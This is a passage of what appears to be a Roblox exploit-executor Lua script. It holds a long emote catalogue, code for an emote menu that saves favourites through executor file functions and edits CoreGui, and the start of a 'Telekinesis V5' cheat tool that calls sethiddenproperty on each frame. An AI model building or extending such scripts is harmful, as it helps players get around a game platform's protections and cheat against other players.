"Drummer Moves - Twenty One Pilots", id = 7422838770, icon = "rbxthumb://type=Asset&id=7422838770&w=150&h=150", price = 160, lastupdated = 1663281649, sort = {} }, { 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"rbxthumb://type=Asset&id=14353423348&w=150&h=150", price = 50, lastupdated = 1692371037, sort = {} }, { name = "Baby Queen - Strut", id = 14353425085, icon = "rbxthumb://type=Asset&id=14353425085&w=150&h=150", price = 50, lastupdated = 1692371026, sort = {} }, { name = "Baby Queen - Dramatic Bow", id = 14353419229, icon = "rbxthumb://type=Asset&id=14353419229&w=150&h=150", price = 50, lastupdated = 1692371048, sort = {} }, { name = "Sad", id = 4849502101, icon = "rbxthumb://type=Asset&id=4849502101&w=150&h=150", price = 50, lastupdated = 1663281651, sort = {} }, { name = "Robot M3GAN", id = 90569436057900, icon = "rbxthumb://type=Asset&id=90569436057900&w=150&h=150", price = 1, lastupdated = 1749316525, sort = {} }, { name = "Nicki Minaj Anaconda", id = 15571539403, icon = "rbxthumb://type=Asset&id=15571539403&w=150&h=150", price = 0, lastupdated = 1702052956, sort = {} }, { name = "Cha-Cha", id = 3696764866, icon = "rbxthumb://type=Asset&id=3696764866&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} }, { name = "BURBERRY LOLA ATTITUDE - BLOOM", id = 10147919199, icon = "rbxthumb://type=Asset&id=10147919199&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} }, { name = "Skadoosh Emote - Kung Fu Panda 4", id = 16371235025, icon = "rbxthumb://type=Asset&id=16371235025&w=150&h=150", price = 0, lastupdated = 1708496660, sort = {} }, { name = "Chicken Dance", id = 4849493309, icon = "rbxthumb://type=Asset&id=4849493309&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} }, { name = "BLACKPINK Don't know what to do", id = 18855609889, icon = "rbxthumb://type=Asset&id=18855609889&w=150&h=150", price = 0, lastupdated = 1723090163, sort = {} }, { name = "Man City Scorpion Kick", id = 13694139364, icon = "rbxthumb://type=Asset&id=13694139364&w=150&h=150", price = 0, lastupdated = 1688061827, sort = {} }, { name = "Gashina - SUNMI", id = 9528294735, icon = "rbxthumb://type=Asset&id=9528294735&w=150&h=150", price = 0, lastupdated = 1651539455, sort = {} }, { name = "Fashion Spin", id = 130046968468383, icon = "rbxthumb://type=Asset&id=130046968468383&w=150&h=150", price = 0, lastupdated = 1732653968, sort = {} }, { name = "Country Line Dance - Lil Nas X (LNX)", id = 5915780563, icon = "rbxthumb://type=Asset&id=5915780563&w=150&h=150", price = 0, lastupdated = 1605561299, sort = {} }, { name = "Sandwich Dance", id = 4390121879, icon = "rbxthumb://type=Asset&id=4390121879&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} }, { name = "BLACKPINK LISA Money", id = 15679957363, icon = "rbxthumb://type=Asset&id=15679957363&w=150&h=150", price = 0, lastupdated = 1703004397, sort = {} }, { name = "Nicki Minaj That's That Super Bass Emote", id = 15571536896, icon = "rbxthumb://type=Asset&id=15571536896&w=150&h=150", price = 0, lastupdated = 1702052899, sort = {} }, { name = "Salute", id = 3360689775, icon = "rbxthumb://type=Asset&id=3360689775&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} }, { name = "Olympic Dismount", id = 18666650035, icon = "rbxthumb://type=Asset&id=18666650035&w=150&h=150", price = 0, lastupdated = 1722014387, sort = {} }, { name = "MANIAC - Stray Kids", id = 11309309359, icon = "rbxthumb://type=Asset&id=11309309359&w=150&h=150", price = 0, lastupdated = 1668458448, sort = {} }, { name = "BLACKPINK JISOO Flower", id = 15439454888, icon = "rbxthumb://type=Asset&id=15439454888&w=150&h=150", price = 0, lastupdated = 1701124495, sort = {} }, { name = "Man City Bicycle Kick", id = 13422286833, icon = "rbxthumb://type=Asset&id=13422286833&w=150&h=150", price = 0, lastupdated = 1684429651, sort = {} }, { name = "Man City Backflip", id = 13694140956, icon = "rbxthumb://type=Asset&id=13694140956&w=150&h=150", price = 0, lastupdated = 1688061856, sort = {} }, { name = "BLACKPINK Pink Venom - Straight to Ya Dome", id = 14548711723, icon = "rbxthumb://type=Asset&id=14548711723&w=150&h=150", price = 0, lastupdated = 1732579764, sort = {} }, { name = "BLACKPINK Pink Venom - I Bring the Pain Like…", id = 14548710952, icon = "rbxthumb://type=Asset&id=14548710952&w=150&h=150", price = 0, lastupdated = 1732579780, sort = {} }, { name = "Stadium", id = 3360686498, icon = "rbxthumb://type=Asset&id=3360686498&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} }, { name = "BLACKPINK ROSÉ On The Ground", id = 15679958535, icon = "rbxthumb://type=Asset&id=15679958535&w=150&h=150", price = 0, lastupdated = 1703004441, sort = {} }, { name = "Bunny Hop", id = 4646296016, icon = "rbxthumb://type=Asset&id=4646296016&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} }, { name = "BLACKPINK Shut Down - Part 1", id = 14901369589, icon = "rbxthumb://type=Asset&id=14901369589&w=150&h=150", price = 0, lastupdated = 1732579788, sort = {} }, { name = "BLACKPINK Kill This Love", id = 16181843366, icon = "rbxthumb://type=Asset&id=16181843366&w=150&h=150", price = 0, lastupdated = 1706724495, sort = {} }, { name = "SpongeBob Dance", id = 18443271885, icon = "rbxthumb://type=Asset&id=18443271885&w=150&h=150", price = 0, lastupdated = 1720722377, sort = {} }, { name = "Borock's Rage", id = 3236848555, icon = "rbxthumb://type=Asset&id=3236848555&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} }, { name = "The Conductor - George Ezra", id = 10370926562, icon = "rbxthumb://type=Asset&id=10370926562&w=150&h=150", price = 0, lastupdated = 1658879306, sort = {} }, { name = "Swag Walk", id = 10478377385, icon = "rbxthumb://type=Asset&id=10478377385&w=150&h=150", price = 0, lastupdated = 1659642405, sort = {} }, { name = "BLACKPINK Shut Down - Part 2", id = 14901371589, icon = "rbxthumb://type=Asset&id=14901371589&w=150&h=150", price = 0, lastupdated = 1732579772, sort = {} }, { name = "BLACKPINK Ice Cream", id = 16181840356, icon = "rbxthumb://type=Asset&id=16181840356&w=150&h=150", price = 0, lastupdated = 1706724478, sort = {} }, { name = "Superhero Reveal", id = 3696759798, icon = "rbxthumb://type=Asset&id=3696759798&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} }, { name = "BLACKPINK Pink Venom - Get em Get em Get em", id = 14548709888, icon = "rbxthumb://type=Asset&id=14548709888&w=150&h=150", price = 0, lastupdated = 1732579749, sort = {} }, { name = "NBA Monster Dunk", id = 82163305721376, icon = "rbxthumb://type=Asset&id=82163305721376&w=150&h=150", price = 0, lastupdated = 1739396236, sort = {} }, { name = "TWICE ABCD by Nayeon", id = 18933761755, icon = "rbxthumb://type=Asset&id=18933761755&w=150&h=150", price = 0, lastupdated = 1723561480, sort = {} }, { name = "BURBERRY LOLA ATTITUDE - NIMBUS", id = 10147924028, icon = "rbxthumb://type=Asset&id=10147924028&w=150&h=150", price = 0, lastupdated = 1657728069, sort = {} }, { name = "Ud'zal's Summoning", id = 3307604888, icon = "rbxthumb://type=Asset&id=3307604888&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} }, { name = "TWICE Pop by Nayeon", id = 13768975574, icon = "rbxthumb://type=Asset&id=13768975574&w=150&h=150", price = 0, lastupdated = 1687549777, sort = {} }, { name = "TWICE Set Me Free - Dance 1", id = 12715395038, icon = "rbxthumb://type=Asset&id=12715395038&w=150&h=150", price = 0, lastupdated = 1678474186, sort = {} }, { name = "TWICE Set Me Free - Dance 2", id = 12715397488, icon = "rbxthumb://type=Asset&id=12715397488&w=150&h=150", price = 0, lastupdated = 1678474350, sort = {} }, { name = "Hyperfast 5G Dance Move", id = 9408642191, icon = "rbxthumb://type=Asset&id=9408642191&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} }, { name = "You can't sit with us - Sunmi", id = 9983549160, icon = "rbxthumb://type=Asset&id=9983549160&w=150&h=150", price = 0, lastupdated = 1657679637, sort = {} }, { name = "Hype Dance", id = 3696757129, icon = "rbxthumb://type=Asset&id=3696757129&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} }, { name = "BLACKPINK - How You Like That", id = 16874596971, icon = "rbxthumb://type=Asset&id=16874596971&w=150&h=150", price = 0, lastupdated = 1711414303, sort = {} }, { name = "BLACKPINK - Lovesick Girls", id = 16874600526, icon = "rbxthumb://type=Asset&id=16874600526&w=150&h=150", price = 0, lastupdated = 1711414329, sort = {} }, { name = "TWICE Like Ooh-Ahh", id = 14124050904, icon = "rbxthumb://type=Asset&id=14124050904&w=150&h=150", price = 0, lastupdated = 1689868872, sort = {} }, { name = "Heisman Pose", id = 3696763549, icon = "rbxthumb://type=Asset&id=3696763549&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} }, { name = "BLACKPINK As If It's Your Last", id = 18855603653, icon = "rbxthumb://type=Asset&id=18855603653&w=150&h=150", price = 0, lastupdated = 1723090177, sort = {} }, { name = "TWICE Moonlight Sunrise ", id = 12715393154, icon = "rbxthumb://type=Asset&id=12715393154&w=150&h=150", price = 0, lastupdated = 1678474249, sort = {} }, { name = "TWICE Fancy", id = 13520623514, icon = "rbxthumb://type=Asset&id=13520623514&w=150&h=150", price = 0, lastupdated = 1685112803, sort = {} }, { name = "Point2", id = 3576823880, icon = "rbxthumb://type=Asset&id=3576823880&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} }, { name = "BURBERRY LOLA ATTITUDE - GEM", id = 10147916560, icon = "rbxthumb://type=Asset&id=10147916560&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} }, { name = "Vroom Vroom", id = 18526410572, icon = "rbxthumb://type=Asset&id=18526410572&w=150&h=150", price = 0, lastupdated = 1721931643, sort = {} }, { name = "Hwaiting (화이팅)", id = 9528291779, icon = "rbxthumb://type=Asset&id=9528291779&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} }, { name = "BLACKPINK JENNIE You and Me", id = 15439457146, icon = "rbxthumb://type=Asset&id=15439457146&w=150&h=150", price = 0, lastupdated = 1701124471, sort = {} }, { name = "Tilt", id = 3360692915, icon = "rbxthumb://type=Asset&id=3360692915&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} }, { name = "Applaud", id = 5915779043, icon = "rbxthumb://type=Asset&id=5915779043&w=150&h=150", price = 0, lastupdated = 1663264200, sort = {} }, { name = "BLACKPINK DDU-DU DDU-DU", id = 16553262614, icon = "rbxthumb://type=Asset&id=16553262614&w=150&h=150", price = 0, lastupdated = 1709100790, sort = {} }, { name = "BURBERRY LOLA ATTITUDE - HYDRO", id = 10147926081, icon = "rbxthumb://type=Asset&id=10147926081&w=150&h=150", price = 0, lastupdated = 1657814503, sort = {} }, { name = "BURBERRY LOLA ATTITUDE - REFLEX", id = 10147921916, icon = "rbxthumb://type=Asset&id=10147921916&w=150&h=150", price = 0, lastupdated = 1663281649, sort = {} }, { name = "Air Guitar", id = 3696761354, icon = "rbxthumb://type=Asset&id=3696761354&w=150&h=150", price = 0, lastupdated = 1663264200, sort = {} }, { name = "Annyeong (안녕)", id = 9528286240, icon = "rbxthumb://type=Asset&id=9528286240&w=150&h=150", price = 0, lastupdated = 1651539455, sort = {} }, { name = "BLACKPINK Boombayah Emote", id = 16553259683, icon = "rbxthumb://type=Asset&id=16553259683&w=150&h=150", price = 0, lastupdated = 1709339907, sort = {} }, { name = "Victory - 24kGoldn", id = 9178397781, icon = "rbxthumb://type=Asset&id=9178397781&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} }, { name = "Hello", id = 3576686446, icon = "rbxthumb://type=Asset&id=3576686446&w=150&h=150", price = 0, lastupdated = 1663281650, sort = {} }, { name = "Vans Ollie", id = 18305539673, icon = "rbxthumb://type=Asset&id=18305539673&w=150&h=150", price = 0, lastupdated = 1719938530, sort = {} }, { name = "TWICE Strategy", id = 106862678450011, icon = "rbxthumb://type=Asset&id=106862678450011&w=150&h=150", price = 0, lastupdated = 1734540744, sort = {} }, { name = "TWICE The Feels", id = 12874468267, icon = "rbxthumb://type=Asset&id=12874468267&w=150&h=150", price = 0, lastupdated = 1679673336, sort = {} }, { name = "TWICE What Is Love", id = 13344121112, icon = "rbxthumb://type=Asset&id=13344121112&w=150&h=150", price = 0, lastupdated = 1683906913, sort = {} }, { name = "Shrug", id = 3576968026, icon = "rbxthumb://type=Asset&id=3576968026&w=150&h=150", price = 0, lastupdated = 1663281651, sort = {} }, } local function addEmote(name, id, price, date) local months = { Jan = 1, Feb = 2, Mar = 3, Apr = 4, May = 5, Jun = 6, Jul = 7, Aug = 8, Sep = 9, Oct = 10, Nov = 11, Dec = 12 } local function dateToUnix(d) local mon, day, year = d:match("(%a+)%s+(%d+),%s*(%d+)") return os.time({ year = tonumber(year), month = months[mon], day = tonumber(day), hour = 0, min = 0, sec = 0 }) end table.insert(Emotes, { name = name, id = id, icon = "rbxthumb://type=Asset&id=" .. id .. "&w=150&h=150", price = price, lastupdated = dateToUnix(date), sort = {} }) end addEmote("PARROT PARTY DANCE", 121067808279598, 39, "Aug 08, 2025") addEmote("Dance n' Prance", 99031916674986, 39, "Aug 08, 2025") addEmote("R15 Death (Accurate)", 114899970878842, 39, "Aug 08, 2025") addEmote("Wally West", 133948663586698, 39, "Aug 08, 2025") addEmote("Take The L", 123159156696507, 39, "Aug 08, 2025") addEmote("Xaviersobased", 131763631172236, 39, "Aug 09, 2025") addEmote("Belly Dancing", 131939729732240, 39, "Aug 08, 2025") addEmote("RAT DANCE", 133461102795137, 78, "Aug 08, 2025") addEmote("CaramellDansen", 93105950995997, 39, "Aug 08, 2025") addEmote("Biblically Accurate", 133596366979822, 39, "Aug 08, 2025") addEmote("Rambunctious", 134311528115559, 39, "Aug 08, 2025") addEmote("Ballin", 96293409369770, 39, "Aug 17, 2025") addEmote("Die Lit", 121001502815813, 39, "Aug 08, 2025") addEmote("Nyan Nyan!", 73796726960568, 39, "Aug 08, 2025") addEmote("Teto Territory", 114428584463004, 39, "Aug 08, 2025") addEmote("Skibidi", 124828909173982, 39, "Aug 08, 2025") addEmote("Chronoshift", 92600655160976, 39, "Aug 08, 2025") addEmote("Floating on Clouds", 111426928948833, 39, "Aug 08, 2025") addEmote("Jersey Joe", 134149640725489, 39, "Aug 08, 2025") addEmote("Virtual Insanity", 83261816934732, 39, "Aug 09, 2025") addEmote("Doodle Dance", 107091254142209, 39, "Aug 08, 2025") addEmote("Subject 3", 83732367439808, 39, "Aug 08, 2025") addEmote("Club Penguin", 98099211500155, 39, "Aug 09, 2025") addEmote("Kazotsky", 97629500912487, 39, "Aug 08, 2025") addEmote("Miku Dance", 117734400993750, 39, "Aug 08, 2025") addEmote("Deltarune - Tenna Swing", 103139492736941, 39, "Aug 08, 2025") addEmote("Hakari Dance", 80270168146449, 39, "Aug 08, 2025") addEmote("Addendum Dance [R6]", 134442882516163, 39, "Aug 09, 2025") addEmote("Gangnam Style", 77205409178702, 39, "Aug 08, 2025") addEmote("Push-Up", 117922227854118, 39, "Aug 09, 2025") addEmote("Split", 98522218962476, 39, "Aug 08, 2025") addEmote("PROXIMA", 81390693780805, 39, "Aug 08, 2025") addEmote("HeadBanging", 87447252507832, 39, "Aug 08, 2025") addEmote("Assumptions", 127507691649322, 39, "Aug 08, 2025") addEmote("Jumpstyle", 99563839802389, 39, "Aug 08, 2025") addEmote("Flopping Fish", 133142324349281, 39, "Aug 08, 2025") addEmote("Kicking Feet Sit", 78758922757947, 39, "Aug 08, 2025") addEmote("Fancy Feets", 124512151372711, 39, "Aug 08, 2025") addEmote("Cute Sit", 90244178386698, 39, "Aug 08, 2025") addEmote("Absolute Cinema", 97258018304125, 39, "Aug 08, 2025") addEmote("Bubbly Sit", 112758073578333, 39, "Aug 08, 2025") addEmote("Become A Car", 131544122623505, 39, "Aug 08, 2025") addEmote("Hiding Human Box", 124935873390035, 39, "Aug 08, 2025") addEmote("Magical Pose", 135489824748823, 39, "Aug 08, 2025") addEmote("Griddy", 116065653184749, 39, "Aug 08, 2025") addEmote("Gon Rage", 139639173024927, 39, "Aug 10, 2025") addEmote("Become Couch", 93335594132613, 39, "Aug 10, 2025") addEmote("Spare Change", 126749574427431, 39, "Aug 10, 2025") addEmote("Paranoid", 123407922818447, 39, "Aug 10, 2025") addEmote("Kawaii Groove", 77152953688098, 39, "Aug 18, 2025") addEmote("Ai Cat dance", 136593170936320, 39, "Aug 18, 2025") addEmote("Smeeze", 131683926643291, 39, "Aug 18, 2025") addEmote("Onion", 113890289455724, 39, "Aug 18, 2025") addEmote("Thinking", 124584711308900, 39, "Aug 18, 2025") addEmote("Little Obbyist", 134584040095037, 39, "Aug 10, 2025") addEmote("Aura Fly", 78755795767408, 39, "Aug 10, 2025") addEmote("Invisible", 109899950448992, 39, "Aug 10, 2025") addEmote("Slenderman", 81926508907412, 39, "Aug 10, 2025") addEmote("Chill pose", 77058107325712, 39, "Aug 10, 2025") addEmote("house", 93552301087938, 39, "Aug 10, 2025") addEmote("baby", 82824758023484, 39, "Aug 10, 2025") addEmote("zenitsu", 92750276568993, 39, "Aug 10, 2025") addEmote("gun", 73562814360939, 39, "Aug 10, 2025") addEmote("Spy Laugh tf2", 137720205462499, 39, "Aug 10, 2025") addEmote("Head Juggling", 82224981519682, 39, "Aug 09, 2025") addEmote("Omniman Think", 70560694892323, 39, "Aug 09, 2025") addEmote("Ishowspeed Shake Dancing", 138386881919239, 39, "Aug 09, 2025") addEmote("Wait", 106569806588657, 39, "Aug 09, 2025") addEmote("Shinji Pose", 97629500912487, 39, "Aug 09, 2025") addEmote("Come At Me [ R6 ]", 107758370940834, 39, "Aug 09, 2025") addEmote("Oscillating Fan", 71493999860590, 39, "Aug 09, 2025") addEmote("Locked In", 110145155419199, 39, "Aug 10, 2025") addEmote("BirdBrain", 105730788757021, 39, "Aug 10, 2025") addEmote("Hakari (FULL)", 71056659089869, 39, "Aug 09, 2025") addEmote("How A Creeper Walk", 108714986908463, 39, "Aug 10, 2025") addEmote("Hakari (R6)", 127103118569243, 39, "Aug 10, 2025") addEmote("Strongest Stance", 80146495484274, 39, "Aug 09, 2025") addEmote("Cat Things", 131193808160056, 39, "Aug 09, 2025") addEmote("Doggy Things", 105206768873249, 39, "Aug 09, 2025") addEmote("Wally West Edit", 72247161810866, 39, "Aug 09, 2025") addEmote("24 Hour Cinderella", 122972776209997, 39, "Aug 09, 2025") addEmote("Mesmerizer", 92707348383277, 39, "Aug 15, 2025") addEmote("Stylish Float", 97497383284399, 39, "Aug 15, 2025") addEmote("SpongeBob Shuffle", 107899954696611, 39, "Aug 15, 2025") addEmote("Electro Shuffle", 96426537876059, 39, "Aug 13, 2025") addEmote("Foreign Shuffle", 101507732056031, 39, "Aug 13, 2025") addEmote("Caipirinha", 100165303717371, 39, "Aug 15, 2025") addEmote("Squidward Yell", 109244554368414, 39, "Aug 15, 2025") addEmote("Hakari (Forsaken)", 73271793399763, 39, "Aug 15, 2025") addEmote("Teto Dance", 93031502567721, 39, "Aug 15, 2025") addEmote("Michael Myers", 88229016850146, 39, "Aug 15, 2025") addEmote("Gun Shoot", 105055412595333, 39, "Aug 15, 2025") addEmote("Torture Dance", 116099356619436, 39, "Aug 16, 2025") addEmote("Yapping Yap Yap Gesture",119870339321091, 39, "Aug 16, 2025") addEmote("Luxurious / Springtrap",132151459316300 , 39, "Aug 16, 2025") addEmote("Hand Drill",103882178542598 , 39, "Aug 16, 2025") addEmote("exclamation",82714556886471 , 39, "Aug 16, 2025") addEmote("Mewing / Mogging",135493514352956 , 39, "Aug 16, 2025") addEmote("lemon melon cookie - Miku",79874689836683 , 39, "Aug 16, 2025") addEmote("Cute Jump",80556794144838, 39, "Aug 16, 2025") addEmote("Billy Bounce", 126516908191316, 39, "Aug 15, 2025") addEmote("What U Want / Prince Egypt", 133751526608969, 39, "Aug 15, 2025") addEmote("Rabbit Hole - Miku", 133481721436918, 39, "Aug 15, 2025") addEmote("Garou", 86200585395371, 39, "Aug 09, 2025") addEmote("Dio Pose", 76736978166708, 39, "Aug 09, 2025") addEmote("Golden Freddy", 122463450997235, 39, "Aug 09, 2025") addEmote("Noclip, Speed", 137006085779408, 39, "Aug 09, 2025") addEmote("Static [Hatsune Miku]", 84534006084837, 39, "Aug 09, 2025") addEmote("GOALL", 78830825254717, 39, "Aug 09, 2025") addEmote("Lethal Dance", 77108921633993, 39, "Aug 09, 2025") addEmote("Plug Walk", 100359724990859, 39, "Aug 09, 2025") addEmote("At Ease", 76993139936388, 39, "Aug 09, 2025") addEmote("Conga", 97547955535086, 39, "Aug 09, 2025") addEmote("Barrel", 84511772437190, 39, "Aug 08, 2025") addEmote("Helicopter", 84555218084038, 39, "Aug 08, 2025") addEmote("Aura Farm Boat", 88042995626011, 39, "Aug 09, 2025") addEmote("Prince Of Egypt", 134063402217274, 39, "Aug 08, 2025") addEmote("Jersey Joe2", 115782117564871, 39, "Aug 09, 2025") addEmote("Deltarune - Tenna Dance", 73715378215546, 39, "Aug 08, 2025") addEmote("California Girl", 132074413582912, 39, "Aug 08, 2025") addEmote("Default Dance", 80877772569772, 39, "Aug 08, 2025") addEmote("Shocked meme", 129501229484294, 39, "Aug 08, 2025") addEmote("Family Guy", 78459263478161, 39, "Aug 08, 2025") addEmote("Car Transformation", 96887377943085, 39, "Aug 08, 2025") addEmote("Insanity", 129843344424281, 39, "Aug 08, 2025") addEmote("Honored One", 121643381580730, 39, "Aug 08, 2025") addEmote("Sukuna", 91839607010745, 39, "Aug 08, 2025") addEmote("Dropper", 130358790702800, 39, "Aug 08, 2025") addEmote("Be Not Afraid", 70635223083942, 39, "Aug 08, 2025") addEmote("Macarena", 91274761264433, 39, "Aug 08, 2025") addEmote("Helicopter2", 119431985170060, 39, "Aug 08, 2025") addEmote("RONALDO", 97547486465713, 39, "Aug 08, 2025") addEmote("Nya Anime Dance", 126647057611522, 39, "Aug 08, 2025") addEmote("Do that thang", 113772829398170, 39, "Aug 08, 2025") addEmote("Squat?", 95441477641149, 39, "Aug 08, 2025") addEmote("Slickback", 103789826265487, 39, "Aug 08, 2025") --wait for emotes to finish loading local function EmotesLoaded() for i, loaded in pairs(LoadedEmotes) do if not loaded then return false end end return true end while not EmotesLoaded() do task.wait() end Loading:Destroy() --sorting options setup table.sort(Emotes, function(a, b) return a.lastupdated > b.lastupdated end) for i,v in pairs(Emotes) do v.sort.recentfirst = i end table.sort(Emotes, function(a, b) return a.lastupdated < b.lastupdated end) for i,v in pairs(Emotes) do v.sort.recentlast = i end table.sort(Emotes, function(a, b) return a.name:lower() < b.name:lower() end) for i,v in pairs(Emotes) do v.sort.alphabeticfirst = i end table.sort(Emotes, function(a, b) return a.name:lower() > b.name:lower() end) for i,v in pairs(Emotes) do v.sort.alphabeticlast = i end table.sort(Emotes, function(a, b) return a.price < b.price end) for i,v in pairs(Emotes) do v.sort.lowestprice = i end table.sort(Emotes, function(a, b) return a.price > b.price end) for i,v in pairs(Emotes) do v.sort.highestprice = i end if isfile("FavoritedEmotes.txt") then if not pcall(function() FavoritedEmotes = HttpService:JSONDecode(readfile("FavoritedEmotes.txt")) end) then FavoritedEmotes = {} end else writefile("FavoritedEmotes.txt", HttpService:JSONEncode(FavoritedEmotes)) end local UpdatedFavorites = {} for i,name in pairs(FavoritedEmotes) do if typeof(name) == "string" then for i,emote in pairs(Emotes) do if emote.name == name then table.insert(UpdatedFavorites, emote.id) break end end end end if #UpdatedFavorites ~= 0 then FavoritedEmotes = UpdatedFavorites writefile("FavoritedEmotes.txt", HttpService:JSONEncode(FavoritedEmotes)) end local function CharacterAdded(Character) for i,v in pairs(Frame:GetChildren()) do if not v:IsA("UIGridLayout") then v:Destroy() end end local Humanoid = WaitForChildOfClass(Character, "Humanoid") local Description = Humanoid:WaitForChild("HumanoidDescription", 5) or Instance.new("HumanoidDescription", Humanoid) local random = Instance.new("TextButton") local Ratio = Instance.new("UIAspectRatioConstraint") Ratio.AspectType = Enum.AspectType.ScaleWithParentSize Ratio.Parent = random random.LayoutOrder = 0 random.TextColor3 = Color3.new(1, 1, 1) random.BorderSizePixel = 0 random.BackgroundTransparency = 0.5 random.BackgroundColor3 = Color3.new(0, 0, 0) random.TextScaled = true random.Text = "Random" random:SetAttribute("name", "") Corner:Clone().Parent = random random.MouseButton1Click:Connect(function() local randomemote = Emotes[math.random(1, #Emotes)] PlayEmote(randomemote.name, randomemote.id) end) random.MouseEnter:Connect(function() EmoteName.Text = "Random" end) random.Parent = Frame for i,Emote in pairs(Emotes) do Description:AddEmote(Emote.name, Emote.id) local EmoteButton = Instance.new("ImageButton") local IsFavorited = table.find(FavoritedEmotes, Emote.id) EmoteButton.LayoutOrder = Emote.sort[CurrentSort] + ((IsFavorited and 0) or #Emotes) EmoteButton.Name = Emote.id EmoteButton:SetAttribute("name", Emote.name) Corner:Clone().Parent = EmoteButton EmoteButton.Image = Emote.icon EmoteButton.BackgroundTransparency = 0.5 EmoteButton.BackgroundColor3 = Color3.new(0, 0, 0) EmoteButton.BorderSizePixel = 0 Ratio:Clone().Parent = EmoteButton local EmoteNumber = Instance.new("TextLabel") EmoteNumber.Name = "number" EmoteNumber.TextScaled = true EmoteNumber.BackgroundTransparency = 1 EmoteNumber.TextColor3 = Color3.new(1, 1, 1) EmoteNumber.BorderSizePixel = 0 EmoteNumber.AnchorPoint = Vector2.new(0.5, 0.5) EmoteNumber.Size = UDim2.new(0.2, 0, 0.2, 0) EmoteNumber.Position = UDim2.new(0.1, 0, 0.9, 0) EmoteNumber.Text = Emote.sort[CurrentSort] EmoteNumber.TextXAlignment = Enum.TextXAlignment.Center EmoteNumber.TextYAlignment = Enum.TextYAlignment.Center local UIStroke = Instance.new("UIStroke") UIStroke.Transparency = 0.5 UIStroke.Parent = EmoteNumber EmoteNumber.Parent = EmoteButton EmoteButton.Parent = Frame EmoteButton.MouseButton1Click:Connect(function() PlayEmote(Emote.name, Emote.id) end) EmoteButton.MouseEnter:Connect(function() EmoteName.Text = Emote.name end) local Favorite = Instance.new("ImageButton") Favorite.Name = "favorite" if table.find(FavoritedEmotes, Emote.id) then Favorite.Image = FavoriteOn else Favorite.Image = FavoriteOff end Favorite.AnchorPoint = Vector2.new(0.5, 0.5) Favorite.Size = UDim2.new(0.2, 0, 0.2, 0) Favorite.Position = UDim2.new(0.9, 0, 0.9, 0) Favorite.BorderSizePixel = 0 Favorite.BackgroundTransparency = 1 Favorite.Parent = EmoteButton Favorite.MouseButton1Click:Connect(function() local index = table.find(FavoritedEmotes, Emote.id) if index then table.remove(FavoritedEmotes, index) Favorite.Image = FavoriteOff EmoteButton.LayoutOrder = Emote.sort[CurrentSort] + #Emotes else table.insert(FavoritedEmotes, Emote.id) Favorite.Image = FavoriteOn EmoteButton.LayoutOrder = Emote.sort[CurrentSort] end writefile("FavoritedEmotes.txt", HttpService:JSONEncode(FavoritedEmotes)) end) end for i=1,9 do local EmoteButton = Instance.new("Frame") EmoteButton.LayoutOrder = 2147483647 EmoteButton.Name = "filler" EmoteButton.BackgroundTransparency = 1 EmoteButton.BorderSizePixel = 0 Ratio:Clone().Parent = EmoteButton EmoteButton.Visible = true EmoteButton.Parent = Frame EmoteButton.MouseEnter:Connect(function() EmoteName.Text = "Select an Emote" end) end end if LocalPlayer.Character then CharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:Connect(CharacterAdded) wait(1) game.CoreGui.Emotes.Enabled = true game:GetService("StarterGui"):SetCore("SendNotification",{ Title = "Done!", Text = "Emotes gui is here!", Duration = 10}) game.Players.LocalPlayer.PlayerGui.ContextActionGui:Destroy() end) end; task.spawn(C_18); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_1a() local script = G2L["1a"]; script.Parent.MouseButton1Click:Connect(function() local re=game:GetService("Workspace") local sandbox=function(var,func) local env=getfenv(func) local newenv=setmetatable({},{ __index=function(self,k) if k=="script" then return var else return env[k] end end, }) setfenv(func,newenv) return func end cors={} local _Name="Telekinesis V5" local uis=game:GetService("UserInputService") local _Ins, _CF_new, _VTR_new=Instance.new, CFrame.new, Vector3.new mas=_Ins("Model",game:GetService("Lighting")) local con=getfenv().sethiddenproperty Tool0=_Ins("Tool") Part1=_Ins("Part") Script2=_Ins("Script") local selectionbox=Instance.new("SelectionBox", game:GetService("Players").LocalPlayer.Character) selectionbox.LineThickness=0.3 selectionbox.Color3=Color3.fromRGB(255, 255, 255) LocalScript3=_Ins("LocalScript") re=game:GetService("RunService") Tool0.Name=_Name Tool0.Parent=mas Tool0.Grip=_CF_new(0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1) Tool0.GripPos=_VTR_new(0, 0, 1) Part1.Name="Handle" Part1.Parent=Tool0 local changed="Changed" Part1.CFrame=_CF_new(-3.5, 5.30000019, -3.5, 1, 0, 0, 0, -1, 0, 0, 0, -1) Part1.Orientation=_VTR_new(0, 180, 180) Part1.Position=_VTR_new(-3.5, 5.300000190734863, -3.5) Part1.Rotation=_VTR_new(-180, 0, 0) Part1.Color=Color3.new(0.972549, 0.972549, 0.972549) Part1.Transparency=1 local cam=re.RenderStepped local w=wait Part1.Size=_VTR_new(1, 1, 1) Part1.BottomSurface=Enum.SurfaceType.Smooth Part1.BrickColor=BrickColor.new("Institutional white") Part1.Locked=true local speed=31 local mb=uis.TouchEnabled Part1.TopSurface=Enum.SurfaceType.Smooth Part1.brickColor=BrickColor.new("Institutional white") Script2.Name="LineConnect" Script2.Parent=Tool0 local Sound=_Ins("Sound", game.Workspace) Sound.SoundId="rbxassetid://1092093337" Sound:Play() cam:Connect(function() if con then con(game:GetService("Players").LocalPlayer, changed, speed) end end) table.insert(cors,sandbox(Script2,function() w() local check=script.Part2 local part1=script.Part1.Value local part2=script.Part2.Value local parent=script.Par.Value local color=script.Color local line=_Ins("Part") line.TopSurface=0 line.BottomSurface=0 